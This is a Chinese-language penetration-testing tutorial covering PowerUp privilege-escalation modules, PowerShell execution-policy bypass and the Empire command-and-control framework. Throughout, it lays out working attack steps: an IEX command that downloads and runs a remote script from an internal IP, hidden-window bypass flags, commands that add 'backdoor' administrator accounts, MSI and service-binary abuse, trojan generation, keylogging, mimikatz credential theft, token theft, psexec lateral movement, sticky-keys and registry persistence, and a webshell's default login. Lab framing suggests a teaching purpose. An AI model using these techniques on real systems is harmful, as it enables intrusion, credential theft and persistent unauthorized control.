PS?C:>Get-RegistryAlwaysInstallElevated
5.?Get-RegistryAutoLogon
檢測Winlogin注冊表AutoAdminLogon項有沒有被設置,可查詢默認的用戶名和密碼。
執行方式:
PS?C:>?Get-RegistryAutoLogon
6.?Get-ServiceDetail
返回某服務的信息。
執行方式:
PS?C:>?Get-ServiceDetail?-ServiceName?Dhcp?#獲取DHCP服務的詳細信息
7.?Get-ServiceFilePermission
檢查當前用戶能夠在哪些服務的目錄寫入相關聯的可執行文件,通過這些文件可達到提權的目的。
執行方式:
C:>?Get-ServiceFilePermission
8.?Test-ServiceDaclPermission
檢查所有可用的服務,并嘗試對這些打開的服務進行修改,如果可修改,則返回該服務對象。
執行方式:
PS?C:>Test-ServiceDaclPermission
9.?Get-ServiceUnquoted
檢查服務路徑,返回包含空格但是不帶引號的服務路徑。
此處利用的windows的一個邏輯漏洞,即當文件包含空格時,windows?API會解釋為兩個路徑,并將這兩個文件同時執行,有些時候可能會造成權限的提升。
比如C:program?fileshello.exe?,會被解釋為C:program.exe以及C:program?fileshello.exe
執行方式:
PS?C:>Get-ServiceUnquoted
10.?Get-UnattendedInstallFile
檢查幾個路徑,查找是否存在這些文件,在這些文件里可能包含有部署憑據。這些文件包括:
c:\sysprep\sysprep.xml
c:\sysprep\sysprep.inf
c:sysprep.inf
c:\windows\Panther\Unattended.xml
c:\windows\Panther\UnattendUnattended.xml
c:\windows\Panther\Unattend.xml
c:\windows\Panther\UnattendUnattend.xml
c:\windows\S\ystem32\Sysprep\unattend.xml
c:\windows\System32\Sysprep\Panther\unattend.xml
執行方式:
PS?C:>?Get-UnattendedInstallFile
11.?Get-ModifiableRegistryAutoRun
檢查開機自啟的應用程序路徑和注冊表鍵值,返回當前用戶可修改的程序路徑。
注冊表檢查的鍵值為:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService
執行方式:
PS?C:>Get-ModifiableRegistryAutoRun
?12.?Get-ModifiableScheduledTaskFile
返回當前用戶能夠修改的計劃任務程序的名稱和路徑。
執行方式:
PS?C:>Get-ModifiableScheduledTaskFile
13.?Get-Webconfig
返回當前服務器上的web.config文件中的數據庫連接字符串的明文。
執行方式:
PS?C:>get-webconfig
?14.?Invoke-ServiceAbuse
用來通過修改服務添加用戶到指定組,并可以通過定制-cmd參數觸發添加用戶的自定義命令。
執行方式:
PS?C:>?Invoke-ServiceAbuse?-ServiceName?VulnSVC?#?添加默認賬號
PS?C:>?Invoke-ServiceAbuse?-ServiceName?VulnSVC?-UserName?"TESTLABjohn"?#?指定添加域賬號
PS?C:>?Invoke-ServiceAbuse?-ServiceName?VulnSVC?-UserName?backdoor?-Password?password?-LocalGroup?"Administrators"?#?指定添加用戶,用戶密碼以及添加的用戶組。
PS?C:>?Invoke-ServiceAbuse?-ServiceName?VulnSVC?-Command?"net?..."#?自定義執行命
15.?Restore-ServiceBinary
恢復服務的可執行文件到原始目錄。
執行方式:
PS?C:>?Restore-ServiceBinary?-ServiceName?VulnSVC
16.?Test-ServiceDaclPermission
檢查某個用戶是否在一個服務有自由訪問控制的權限,返回true或false。
執行方式:
PS?C:>?Restore-ServiceBinary?-ServiceName?VulnSVC
17.?Write-HijackDll
輸出一個自定義命令并且能夠自刪除的bat文件到$env:Tempdebug.bat,并輸出一個能夠啟動這個bat文件的dll。
18.Write-UserAddMSI
生成一個安裝文件,運行這個安裝文件,則彈出添加用戶的框。
執行方式:
PS?C:>?Write-UserAddMSI
19.?Write-ServiceBinary
預編譯C#服務的可執行文件。默認創建一個默認管理員賬號??赏ㄟ^Command定制自己的命令。
執行方式:
PSC:>Write-ServiceBinary?-ServiceName?VulnSVC?#?添加默認賬號
PSC:>Write-ServiceBinary?-ServiceName?VulnSVC?-UserName?"TESTLABjohn"?#?指定添加域賬號
PSC:>Write-ServiceBinary-ServiceName?VulnSVC?-UserName?backdoor?-Password?Password123!?#?指定添加用戶,用戶密碼以及添加的用戶組
PSC:>?Write-ServiceBinary?-ServiceName?VulnSVC?-Command?"net?..."?#?自定義執行命
20.?Install-ServiceBinary
通過Write-ServiceBinary寫一個C#的服務用來添加用戶。
執行方式:
PSC:>?Install-ServiceBinary?-ServiceName?DHCP
PSC:>?Install-ServiceBinary?-ServiceName?VulnSVC?-UserName?"TESTLABjohn"
PSC:>Install-ServiceBinary?-ServiceName?VulnSVC?-UserName?backdoor?-Password?Password123!
PSC:>?Install-ServiceBinary?-ServiceName?VulnSVC?-Command?"net?..."
Write-ServiceBinary與Install-ServiceBinary不同的是前者生成可執行文件,后者直接安裝服務
PowerUP攻擊模塊實戰演練
??很多PowerUp模塊不能一一演示,只針對性介紹幾個常用模塊的實戰應用
實戰演練一
首先我們安裝一個存在漏洞的服務環境:
https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe
安裝好漏洞環境后,我們建一個普通用戶:net?user?powerup?123456?/add
然后登錄到這個新建的普通用戶
我們可以把PowerUp腳本上傳到目標服務器,或是遠程內存加載
這里遠程加載如下:
?然后調用Invoke-AllChecks
先介紹下Unquoted?Service?Paths?
簡介
“包含空格但沒有引號的服務路徑”,利用windows解析文件路徑的特性,如果一個服務的可執行文件路徑設置不當,攻擊者可構造對應的可執行文件,從而利用提權,PowerUp的相關模塊可以幫助我們完成提權
實戰演練一
漏洞原理
這里假設有一個服務路徑?C:\Program?Files?(x86)\Common?Files\Tencent\QQMusic\QQMusicService.exe
帶引號時:"C:\Program?Files?(x86)\Common?Files\Tencent\QQMusic\QQMusicService.exe"會被看成一個完整的服務路徑,故不會產生漏洞。
不帶引號時:我們認為的服務路徑是C:\Program?Files?(x86)\Common?Files\Tencent\QQMusic\QQMusicService.exe,但是由于沒有雙引號的包裹,Windows會認為C:\Program空格后面的為Program這個程序的參數來進行啟動服務。這樣攻擊者就可以命名一個為Program.exe的后門文件放在c盤下,進而等待含漏洞服務路徑的啟動或重啟導致后門文件的執行。
實戰演練一
根據前面調用Invoke-AllChecks,返回的結果存在包含空格但沒有引號的服務路徑
C:\Program?Files?(x86)\Photodex\ProShow?Producer\ScsiAccess.exe
這時需要檢測目錄是否有寫權限
C:\?普通用戶目錄默認是不讓寫的
C:\Program?Files?(x86)\Photodex\
可以使用cacls或icacls,可以看到當前用戶不可寫
?再測試C:\Program Files (x86)\Photodex\ProShow Producer\發現可寫
?直接Write-ServiceBinary 來嘗試提權,如下提示進程在使用
使用move把文件重命名,然后重新執行寫入,這時生成的ScsiAccess.exe為利用程序
當服務器重啟后,提權成功,系統會新增一個管理員權限用戶john/Password123!
?提權成功后我們把所有狀態恢復到最初的狀態
實戰演練二
AlwaysInstallElevated提權
該漏洞產生的原因是用戶在策略編輯器中開啟了Windows?Installer特權安裝功能:
設置漏洞環境
管理員用戶在“運行”設置框中輸入“gpedit.msc”,打開組策略編輯器。
組策略——計算機配置——管理模板——Windows組件——Windows?Installer——永遠以高特權進行安裝:選擇啟用。
設置完畢之后,會在兩個注冊表如下位置自動創建鍵值為”1″。
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]?“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]?“AlwaysInstallElevated”=dword:00000001
防御的話,就是把上述啟用的選項關閉
實戰演練二
在這次中用到Get-RegistryAlwaysInstallElevated和Write-UserAddMSI兩個模塊
?首先先加載PowerUp,使用Get-RegistryAlwaysInstallElevated檢測相關注冊表是否被設置
顯示“true”則表示AlwaysInstallElevated注冊表已經被設置:這就意味著MSI文件是以System權限運行的。
接著運行Write-UserAddMSI,會在當前目錄下生成一個UserAdd.msi文件
?以普通用戶權限運行UserAdd.msi添加管理員賬戶??????? 成功添加backdoor管理員權限賬戶
?
PowerShell技術
常用的PowerShell攻擊工具:
PowerSploit:這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期的漏洞利用框架,常用來進行信息探測,特權提升,憑證竊取,持久化等操作。
Nishang:基于PowerShell的滲透測試專用工具,集成了框架,腳本和各種Payload,包含下載和執行,鍵盤記錄,DNS,延時命令等腳本。
Empire:基于PowerShell的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑證信息,常用于提供前期漏洞利用的集成模塊,信息探測,憑證竊取,持久化控制。
PowerCat:PowerShell版的NetCat,有著網絡工具中的”瑞士軍刀”美譽,它能通過TCP和UDP在網絡中讀取數據。通過與其他工具結合和重定向,可以在腳本中以多種方式使用它。
PowerShell是一種基于任務的命令行解釋器和腳本環境,可以說是一種強大的shell,如同linux的bash,專為系統管理員而設計,以.NET框架為平臺,Windows PowerShell幫助IT專業人員和超級用戶控制和自動化管理Windows操作系統和運行在操作系統上的應用。現被更廣泛用于滲透測試等方面,在不需要寫入磁盤的情況下執行命令,也可以逃避Anti-Virus檢測。另外,可以把PowerShell看作命令行提示符cmd.exe的擴充
?PowerShell優點
基于.NET框架
操作系統信任
提供win系列操作系統的幾乎一切訪問權限
win7之后默認安裝
腳本可以運行在內存中,不需要寫入磁盤
cmd.exe通常會被安全軟件阻止,一般PowerShell不會
第一種
win+r啟動運行下輸入powershell進入
?
第二種
cmd下輸入powershell進入
PowerShell版本?
?
可以輸入Get-Host或者$PSVersionTable.PSVERSION命令查看當前系統的PowerShell版本?
PowerShell基本概念
PS1文件:
一個PowerShell腳本其實就是一個簡單的?文本文件,這個文件包含了一系列的?PowerShell命令,每個命令顯示為獨立的一行,PowerShell文件的后綴為?.PS1
PowerShell基本概念
執行策略:
為防止惡意腳本的執行,PowerShell有一個執行策略,默認情況下,這個執行策略被設置為受限。
我們可以使用:?Get-ExecutionPolicy??命令查看PowerShell當前的執行策略。它有4個策略。
Restricted:腳本不能運行(默認設置)
RemoteSigned:本地創建的腳本可以運行,但是從網上下載的腳本不能運行(擁有數字證書簽名的除外)
AllSigned:僅當腳本由受信任的發布者簽名時才能運行;
Unrestricted:允許所有的腳本執行
另外修改PowerShell執行策略:Set-ExecutionPolicy?策略名?#該命令需要管理員權限運行
PowerShell基本概念
運行腳本:
運行一個腳本,必須鍵入完整的路徑和文件名,例如,你要運行一個名為a.ps1的腳本,可以鍵入c:\script\a.ps1
但如果PowerShell腳本文件在你的系統目錄中,那么在命令提示符后直接鍵入腳本文件名即可運行,如.\a.ps1的前面就加上“.\”,這和在Linux下執行Shell腳本的方法一樣。
管道:
管道的作用就是將一個命令的輸出作為另一個命令的輸入,兩個命令之間用管道符號(|)連接
例如:
假設停止所有目前運行中的,以“note"字符開頭命名的程序
Get-Process note*|stop-process
?基本知識:
在PowerShell下,類似“cmd命令”叫做“cmdlet” ,其命令的命名規范很一致,都采用了 動詞-名詞的形式,如Net-Item,動詞一般為Add、New、Get、Remove、Set等。PowerShell還兼容cmd和Linux命令,如查看目錄可以使用 dir 或者 ls ,并且PowerShell命令不區分大小寫。
后面會以文件操作為例講解PowerShell命令的基本用法
文件操作類的PowerShell命令:
新建目錄test:New-Item test -ItemType directory
刪除目錄test:Remove-Item test
新建文件test.txt:New-Item test1.txt -ItemType file
新建文件test.txt,內容為 hello:New-Item test.txt -ItemType file -value "hello"
查看文件test.txt內容:Get-Content? test.txt
設置文件test.txt內容t:Set-Content? test.txt? -Value "haha"
給文件test.txt追加內容:Add-Content test.txt? -Value ",word!"
清除文件test.txt內容:Clear-Content test.txt
刪除文件test.txt:Remove-Item test.txt
繞過執行策略執行PowerShell腳本
如果運行PowerShell腳本程序,必須用管理員權限將Restricted策略改成Unrestricted
在滲透測試時,就需要采用一些方法繞過策略來執行PowerShell腳本,列舉如下三種方式
1.繞過本地權限執行
2.本地隱藏繞過權限執行腳本
3.用IEX下載遠程PS1腳本繞過權限執行
上傳test.ps1到目標主機,在cmd環境下,在目標主機本地當前目錄執行該腳本
powershell?-exec?bypass??.\test.ps1
powershell.exe -exec bypass -W hidden -nop? test.ps1
輸入命令執行后會退出命令提示符
?
用IEX下載遠程PS1腳本繞過權限執行
powershell?-c?IEX?(New-Object?System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
PowerShell命令參數說明
對上述命令參數進行說明
ExecvtionPolicy?Bypass(-exec?bypass):繞過執行安全策略,這個參數非常重要,在默認情況下,PowerShell的安全策略規定了PoweShell不允許運行命令和文件。通過設置這個參數,可以繞過任意一個安全保護規則;
WindowStyle?Hidden(-w?hidden):隱藏窗口,也就是執行完命令后,窗口隱藏;
-command(-c):執行powershell腳本;
NoProfile(-nop):PowerShell控制臺不加載當前用戶的配置文件;
NoLogo:啟動不顯示版權標志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:執行后不退出shell,這在使用鍵盤記錄等腳本時非常重要;
-enc??base64:?把ps腳本編碼成base64來執行,實戰用的最多;
Empire簡介
?Empire是一款針對Windows平臺的、使用Powershell腳本作為攻擊載荷的滲透攻擊框架工具,具有從stager生成、提權到滲透維持的一系列功能。Empire實現了無需powshell.exe就可運行Powershell代理的功能,還可以快速在后期部署漏洞利用模塊,其內置模塊有鍵盤記錄、Mimikatz、繞過UAC、內網掃描等,使用能夠躲避內網檢測和大部分安全防護工具的查殺,簡單來說就有點類似Metasploit,是一個基于PowerShell的遠程控制木馬。
Empire的全部功能可以參考其官方網站:
http://www.powershellempire.com
Empire安裝
Empire運行在linux平臺上
官方下載地址,不過很久沒有更新,需要Python?2.6/2.7環境
https://github.com/EmpireProject/Empire
其他分支目前還有人在更新維護,需要Python?3.x環境
https://github.com/BC-SECURITY/Empire
可以選擇其中一個安裝使用,這里我們還是以官方這個來安裝使用
Empire安裝
這里使用的系統是Kali,首先通過git命令下載程序目錄。
git?clone?https://github.com/EmpireProject/Empire.git
?
然后安裝Empire的依賴,命令如下
cd?Empire?
cd?setup
pip?install?-r?requirements.txt(若沒有安裝pip庫,則需要先通過apt-get?install?pip進行安裝)
./install.sh
在安裝完依賴以后,返回上一級文件,啟動Empire工具,命令如下:
cd ..
./empire
? 若啟動失敗,則可能是因為依賴未完全安裝好,只需要手動通過pip install xxx安裝未安裝好的依賴即可。
啟動時如果遇到如下報錯
?可以將urllib3版本降級
pip install urllib3==1.22
重新設定
bash reset.sh
打開Empire后,可以看到版本為2.5,280模塊(modules),0個監聽(listeners),0個會話(agents)
?Empire的基本使用
基本使用會涉及如下內容:
1.幫助文檔
2.設置監聽
3.生成木馬
4.連接主機和基本使用
5.信息收集
6.權限提升
Empire的基本使用
幫助文檔
?運行Empire后,輸入help命令查看具體的使用幫助。
設置監聽
Empire和Metasploit的使用原理一樣,都是需要先設置一個監聽,接著生成一個木馬,然后在目標主機上運行該木馬,我們的監聽就會連接上反彈回來的會話。
設置監聽步驟如下:
listeners?#進入監聽線程界面
uselistener?#設置監聽模式
info?#查看具體參數設置
set?#設置相應參數
execute?#開始監聽
?設置監聽
輸入Listeners命令進入監聽界面,按TAB鍵可以補全命令,按兩次TAB鍵或者help可以顯示可以利用的模塊
?輸入uselistener來設置采用何種監聽模式,雙擊TAB可以看到有以下可以使用的模式。
設置監聽
這里采用http監聽模式,輸入uselistener?http。
?然后輸入info命令查看具體參數設置。其中Require為True的值都需要被設置。?
設置監聽
通過set配置參數,并提供execeute執行,需要注意的是Empire不同于Metasploit,Empire命令是區分大小寫的
?通過back返回上一級,使用listeners或者list可以查看所設置的監聽器
Empire的基本使用
生成木馬
輸入usestager后?空格加TAB鍵?查看可以設置的木馬模式
木馬就類似Metasploit中的payload,其中multi為通用模塊,osx是Mac操作系統的模塊,剩下的是Windows的模塊。
生成木馬
我們以?windows/launcher_bat為例,給大家說下過程,其他的使用都類似
要使用launcher_bat,首先輸入usestager?windows/launcher_bat,然后輸入info命令查看詳細參數
生成木馬
通過set配置參數,我們需要設置一個 Listener 參數,即監聽的名字(前面我們給監聽起得一個名字test1),通過execeute執行,
文件會生成到 tmp 目錄下,如下所示
?在目標主機上運行生成的launcher.bat,輸入 agents 可以查看已經獲得的會話
?我們再介紹另一種生成木馬方式:launcher
如果只需要簡單的powershell 代碼,在設置完相應的參數后,可直接在監聽器(listeners)中輸入命令 launcher <language> <Listener Name> 生成base64編碼的代碼
?然后復制生成的payload 在目標機器上執行
?可以看到有會話生成,輸入 agents 可以查看已經獲得的會話
連接主機和基本使用
?在目標主機反彈成功以后,可以通過agents命令列出當前已連接的主機,這里要注意如果有帶有(*)的是已提權成功的主機。
然后使用interact命令連接主機,可以使用Tab鍵補全主機的名稱,連接成功以后可以通過rename修改會話名稱
??可以通過help查看可以使用的命令
連接主機和基本使用
upload可以上傳文件,通過cat查看文件內容
?使用某些CMD命令時,要使用“shell+命令的形式”?,如下?
?
信息收集
?Empire主要用于后滲透。所以信息收集是比較常用的一個模塊,可以使用searchmodule命令搜索需要使用的模塊,這里通過鍵如usemodule collection然后按Tab查看完整的列表
?1.屏幕截?圖
?輸入以下命令,然后執行即可
2.鍵盤記錄
?輸入以下命令usemodule collection/keylogger,通過info可以查看詳細信息,execute執行
4.查找域管登陸服務器IP
在內網滲透中,要想拿到內網中某臺機器的域管權限,方法之一就是找到域管登錄的機器,然后橫向滲透進去,竊取域管權限,從而拿下整個域,以下這個模塊就是用來查找域管登錄的機器的。
使用模塊usemodule?situational_awareness/network/powerview/user_hunter
權限提升
提權,顧名思義就是提高自己在服務器中的權限,就比如在Windows中,你本身登陸的用戶是Guest,通過提權后,就會變成超級管理員,擁有了管理Windows的所有權限。以下是常見幾種提權方式:
1.Bypass UAC
UAC介紹
UAC(UserAccount Control,用戶賬戶控制)簡言之就是在Vista及更高版本中通過彈框進一步讓用戶確認是否授權當前可執行文件來達到阻止惡意程序的目的。
為了遠程執行目標的exe或者bat可執行文件繞過此安全機制,以此叫BypassUAC(不進行彈窗直接運行執行文件)
輸入以下命令,設置Listener參數,運行execute,會發現成功上線了一個新的反彈
?查找系統中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模塊一樣,該模塊可以執行所有腳本檢查系統漏洞
?
權限提升
3.通過溢出漏洞
本地溢出提權首先要有服務器的一個普通用戶權限,攻擊者通常會向服務器上傳本地溢出程序,在服務器端執行,如果系統存在漏洞,那么將溢出Administrator權限。
這里我們使用ms16-032來提權,輸入以下命令即可通過溢出漏洞進行提權
橫向滲透
橫向滲透,就是在已經攻占部分內網主機的前提下,利用既有的資源嘗試獲取更多的憑據、更高的權限,進而達到控制整個內網、擁有最高權限、發動類似?APT?的目的。
在橫向滲透中,最先得到的主機,以及之后新得到的主機,會成為突破口、跳板。如同一個不斷擴大的圓形,獲得的主機越多,圓能觸及之處越大,讓其周遭的「橫向」部分由未知成為已知。
橫向滲透
1.令牌竊取
我們在獲取到服務器權限后,可以使用內置mimikatz獲取系統密碼,執行完畢后輸入creds命令查看Empire列舉的密碼。如下圖所示
從這里發現有域用戶曾在此服務器上登錄,此時可以竊取域用戶身份,然后進行橫向移動
?
?
?輸入revtoself命令可以將令牌權限恢復到原來的狀態
2.會話注入
我們也可以使用usemodule management/psinject模塊來進程注入,獲取權限,輸入info查看參數設置,如下圖所示。
?
?設置下Listeners和ProcID這2個參數,這里的ProcID還是之前的CMD的1380,運行后反彈回一個域用戶權限shell。
3.Invoke-PsExec
PsExec是我在Metasploit下經常使用的模塊,還有pstools工具包當中也有psexec,缺點是該工具基本殺毒軟件都能檢測到,并會留下日志,而且需要開啟admin$ 445端口共享。優點是可以直接返回SYSTEM權限。這里我們要演示的是Empire下的Invoke-Psexec模塊。
使用該模塊的前提是我們已經獲得本地管理員權限,甚至域管理員賬戶,然后以此來進一步持續滲透整個內網。
我們測試該模塊前看下當前agents,只有一個IP為192.168.31.251,機器名為WIN7-64的服務器,如下圖所示。
現在使用模塊usemodule lateral_movement/invoke_psexec滲透域內另一臺機器WIN7-X86,輸入info查看設置參數,如下圖所示。
?這里要設置下機器名和監聽,輸入下列命令,反彈成功
權限維持
????攻擊者在獲取服務器權限后,通常會用一些后門技術來維持服務器權限,服務器一旦被植入后門,攻擊者如入無人之境。服務器重啟后,我們的后門程序仍能觸發繼續運行。這里講一些window服務端常見的后門技術
權限維持
1.權限持久性劫持shift后門
shitf后門,其實就是使用了windows系統的粘滯鍵功能,當連按5次shift鍵的時候就會啟動粘滯鍵程序。然后后門程序替換掉這個程序,然后通過按5次就來啟動后門。
輸入命令usemodule?lateral_movement/invoke_wmi_debuggerinfo模塊,可以輸入info查看參數,
set設置相關參數
2.注冊表注入后門
使用usemodule persistence/userland/registry模塊,運行后會在目標主機啟動項添加一個命令,可以輸入info查看信息
Empire反彈回Metasploit
在實際滲透中,當拿到webshell上傳的Metasploit客戶端無法繞過目標主機的殺軟時,可以使用PowerShell來繞過,也可以執行Empire的Payload來繞過,成功之后再用Empire的模塊將其反彈回Metasploit。
首先在Metasploit我們使用multi/script/web_delivery模塊,輸入如下命令
?使用usemodule code_execution/invoke_metasploitpayload模塊,輸入info看下參數,如下圖所示
?這里我們只需修改1個參數URL,
修改為前面Metasploit生成的Using?URL:?http://192.168.199.129:8088/qJaa5sHBuNst5y
按下列命令設置完畢,然后執行
Metasploit收到Empire反彈回來的shell,如下圖所示。
?
?
?
?
權限提升
需要UAC的授權才能進行的操作列表如下:
配置Windows?Update
增加、刪除賬戶
更改賬戶類型
更改UAC的設置
安裝ActiveX
安裝、卸載程序
安裝設備驅動程序
將文件移動/復制到Program?Files或Windows目錄下
查看其它用戶的文件夾
權限提升
UAC有如下四種設置要求:???
始終通知:這是最嚴格的設置,每當有程序需要使用高級別的權限時都會提示本地用戶?
僅在程序試圖更改我的計算機時通知我:這是UAC的默認設置。當本地Windows程序要使用高級別的權限時,不會通知用戶。但是,當第三方程序要使用高級別的權限時,會提示本地用戶?僅在程序試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設置的要求相同,但在提示用戶時不降低桌面的亮度?
從不提示:當用戶為系統管理員時,所有程序都會以最高權限運行
如何Bypass?UAC
我們可以找一些以高權限運行的,但是并沒有uac提示的進程,然后利用ProcessMonitor尋找他啟動調用卻缺失的如dll、注冊表鍵值,然后我們添加對應的值達到bypass?uac的效果。
WebShell后門
存放于nishang?Antak-WebShell目錄下,就是一個ASPX的大馬,但是命令行是PowerShell,比單純的cmd強大很多,功能比較齊全。
將Nishang的antak.aspx文件,放在IIS網站中
然后訪問網站中的antak.aspx文件(出現登陸頁面)
Nishang的antak用戶名:Disclaimer
Nishang的antak密碼:ForLegitUseOnly
總結
- 上一篇: sql server 海量数据速度提升:
- 下一篇: 经典的同态滤波算法的优化及其应用参数配置